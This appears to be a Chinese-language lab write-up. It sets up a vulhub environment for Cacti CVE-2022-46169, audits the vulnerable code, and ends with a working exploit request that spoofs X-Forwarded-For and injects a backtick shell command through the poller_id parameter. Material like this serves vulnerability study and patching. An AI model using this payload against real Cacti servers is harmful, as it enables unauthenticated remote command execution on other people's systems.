一、环境搭建
1、安装docker
curl -fsSL https://get.docker.com | sh
验证docker是否正确安装
docker version
验证docker compose是否可用
docker compose version
2、在GitHub上拉取 vulhub
首先先装一个proxychains网络代理工具,如果直接拉取的话速度会很慢,甚至拉去不下来,用proxychains这个代理工具会快很多
apt-get install proxychains
进入vim etc/prioxychains.conf编辑
改为自己物理机的IP和代理工具的端口
从GtiHub上用proxychains拉取vulhub
proxychains git clone https://github.com/vulhub/vulhub
下载成功后进入到/vulhub/cacti/CVE-2022-46169这个目录下
cd /vulhub/cacti/CVE-2022-46169
启动容器
docker compose up -d
在浏览器输入127.0.0.1 8080 环境搭建成功
开始安装,全部下一步就可以
创建一个图表
二、docker compose up -d网络报错的问题
1、调整自己代理工具端口,让三个端口全部打开,混合端口和proxychains.conf中的要一致
2、创建 Docker 代理配置目录(如果不存在):
sudo mkdir -p /etc/systemd/system/docker.service.d
3、创建代理配置文件
sudo nano /etc/systemd/system/docker.service.d/http-proxy.conf
4、写入以下内容(根据你的代理地址修改)
192.168.1.4:7890为物理机IP和代理端口
[Service]
Environment="HTTP_PROXY=http://192.168.1.4:7890"
Environment="HTTPS_PROXY=http://192.168.1.4:7890"
Environment="NO_PROXY=localhost,127.0.0.1"
5、重新加载 systemd 并重启 Docker
sudo systemctl daemon-reexec
sudo systemctl daemon-reload
sudo systemctl restart docker
6、验证 Docker 是否已使用代理
sudo systemctl show --property=Environment docker
7、重新运行
docker compose up -d
三、 代码审计
文件:remote_agent.php
跟进 remote_client_authorized()
→ 看 如何取客户端 IP
if (!remote_client_authorized()) {
print 'FATAL: You are not authorized to use this service';
exit;
}
文件:lib/functions.php
中的 get_client_addr()
结论:只要我们在 HTTP 头里带上X-Forwarded-For: 127.0.0.1,get_client_addr()
就会返回 127.0.0.1
,而不会继续看真正的 REMOTE_ADDR。
function get_client_addr() {
if (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) {
return trim(array_shift(explode(',', $_SERVER['HTTP_X_FORWARDED_FOR'])));
}
return $_SERVER['REMOTE_ADDR'];
}
文件:remote_agent.php
文件:remote_agent.php
默认安装后表里正好有127.0.0.1,于是 校验通过 → remote_client_authorized()
返回 true
switch (get_request_var('action')) {
case 'polldata':
poll_for_data(); // 我们的目标函数
break;
}
poll_for_data()
关键片段
文件:remote_agent.php:232-234
get_nfilter_request_var
就是 $_GET[$key]
原样返回,没有任何过滤。
$local_data_ids = get_nfilter_request_var('local_data_ids');
$host_id = get_filter_request_var('host_id');
$poller_id = get_nfilter_request_var('poller_id'); //可被注入
文件:poll_for_data()
/script_server.php realtime <poller_id>
这条命令里,$poller_id
就是可控字符串。
case POLLER_ACTION_SCRIPT_PHP: // action = 2
$cactiphp = proc_open(
read_config_option('path_php_binary') .
' -q ' .
$config['base_path'] . '/script_server.php realtime ' .
$poller_id, //直接拼接
$cactides,
$pipes
);
经过数据库查看,发现id=6时action=2,如果action=2则可以通过BurpSuite抓包写入文件
"X-Forwarded-For: 127.0.0.1"
/remote_agent.php?action=polldata&local_data_ids[0]=6&host_id=1&poller_id=`touch /tmp/pwned`"